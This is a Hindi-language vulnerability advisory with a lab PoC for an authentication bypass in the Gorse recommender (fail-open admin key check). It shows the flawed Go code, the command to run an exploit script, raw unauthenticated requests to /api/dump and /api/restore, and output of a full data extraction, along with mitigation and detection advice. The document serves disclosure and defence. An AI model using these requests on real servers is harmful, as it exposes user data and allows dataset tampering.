
CVE-2026-56782 — Gorse <0.5.10 अप्रमाणित DB डंप/पुनर्स्थापना (admin_api_key fail-open). Lab + PoC, verified e2e.
Gorse
< 0.5.10admin_api_key = ""के साथ आता है। मास्टर HTTP एंडपॉइंट/api/dumpऔर/api/restoreएक प्रशासन जाँच द्वारा संरक्षित हैं जो विफल-खुला होता है जब कोई कुंजी कॉन्फ़िगर नहीं की गई हो — डिफ़ॉल्ट। एक अप्रमाणित, नेटवर्क-सुलभ हमलावर पूरे डेटासेट को बाहर निकाल सकता है (उपयोगकर्ता, आइटम, फीडबैक/PII) या इसे अधिलेखित कर सकता है।
| CVE | CVE-2026-56782 |
| प्रभावित | Gorse < 0.5.10 |
| ठीक किया गया | 0.5.10 |
| वर्ग | CWE-305 (प्राथमिक कमजोरी द्वारा प्रमाणीकरण बाईपास) / CWE-306 (लापता प्रमाणीकरण) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई नहीं (डिफ़ॉल्ट admin_api_key खाली है) |
| एंडपॉइंट | GET /api/dump, POST /api/restore (मास्टर HTTP, डिफ़ॉल्ट पोर्ट 8088) |
| स्थिति | पुष्टि — zhenghaoz/gorse-in-one:0.5.8 के विरुद्ध एंड-टू-एंड पुनरुत्पादित |
master/rest.go डंप/पुनर्स्थापना हैंडलर को checkAdmin() से सुरक्षित करता है:
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- विफल-खुला: कोई कुंजी कॉन्फ़िगर नहीं => हर कोई व्यवस्थापक है
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // प्रत्येक उपयोगकर्ता, आइटम और फीडबैक पंक्ति को स्ट्रीम करता है
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — डेटासेट को अधिलेखित करता है
}
शिप किए गए config/config.toml में admin_api_key = "" सेट है। डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ,
checkAdmin() हर अनुरोध के लिए true लौटाता है — X-API-Key हेडर से कभी परामर्श नहीं लिया जाता —
इसलिए दोनों एंडपॉइंट विश्व-पठनीय और विश्व-लेखनीय हैं।
GET /api/dump पूरे डेटाबेस को स्ट्रीम करता है: प्रत्येक उपयोगकर्ता आईडी
और लेबल, प्रत्येक आइटम, और संपूर्ण फीडबैक ग्राफ (किसने किससे बातचीत की)।
एक वास्तविक उत्पाद का समर्थन करने वाले अनुशंसाकर्ता के लिए यह बल्क PII/व्यवहार संबंधी डेटा है।POST /api/restore डेटासेट को हमलावर द्वारा प्रदान की गई सामग्री से बदल देता है,
जिससे मूक डेटा विषाक्तता या विनाश संभव हो जाता है।# 1. कमजोर सर्वर प्रारंभ करें (आधिकारिक छवि, डिफ़ॉल्ट कॉन्फ़िगरेशन = कोई प्रमाणीकरण नहीं)।
docker compose -f lab/docker-compose.yml up -d
# --playground बाहर निकालने के लिए एक वास्तविक उपयोगकर्ता/आइटम/फीडबैक डेटासेट बीजित करता है।
# 2. PoC चलाएँ (कोई क्रेडेंशियल नहीं)।
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
देखा गया:
[*] GET http://127.0.0.1:8088/api/dump (कोई X-API-Key हेडर नहीं)
[*] HTTP 200 content-type: application/octet-stream
[+] बिना प्रमाणीकरण के डेटा निकासी की पुष्टि
उपयोगकर्ता : 2079
आइटम : 22320
फीडबैक : 331901
पेलोड : 262747105 प्रोटोबफ बाइट्स
नमूना उपयोगकर्ता आईडी : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (कोई X-API-Key हेडर नहीं, केवल EOF-निकाय)
[+] HTTP 200 (401 नहीं) - checkAdmin बायपास: /api/restore बिना प्रमाणीकरण के लिखने योग्य है।
एक नकली X-API-Key हेडर अभी भी 200 लौटाता है — यह पुष्टि करता है कि जब admin_api_key सेट नहीं है (विफल-खुला पथ) तो कुंजी पूरी तरह से अनदेखा की जाती है, न कि केवल मिलान की गई।
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
<डंप स्ट्रीम: int64 LE मार्कर (-1 उपयोगकर्ता, -2 आइटम, -3 फीडबैक, 0 EOF) + लंबाई-उपसर्गित प्रोटोबफ>
admin_api_key (और
dashboard क्रेडेंशियल) सेट करें, मास्टर के सामने TLS समाप्त करें, और मास्टर HTTP पोर्ट
(8088) को अविश्वसनीय नेटवर्कों के लिए कभी भी उजागर न करें।किसी भी क्लाइंट से मास्टर पोर्ट पर GET /api/dump या POST /api/restore पर अलर्ट करें जिसके पास
एक मान्य X-API-Key नहीं है, और /api/dump से बड़े application/octet-stream प्रतिक्रियाओं पर भी।
अनुरोध प्रवाह, डंप स्ट्रीम प्रारूप और पैच के लिए ANALYSIS.md देखें।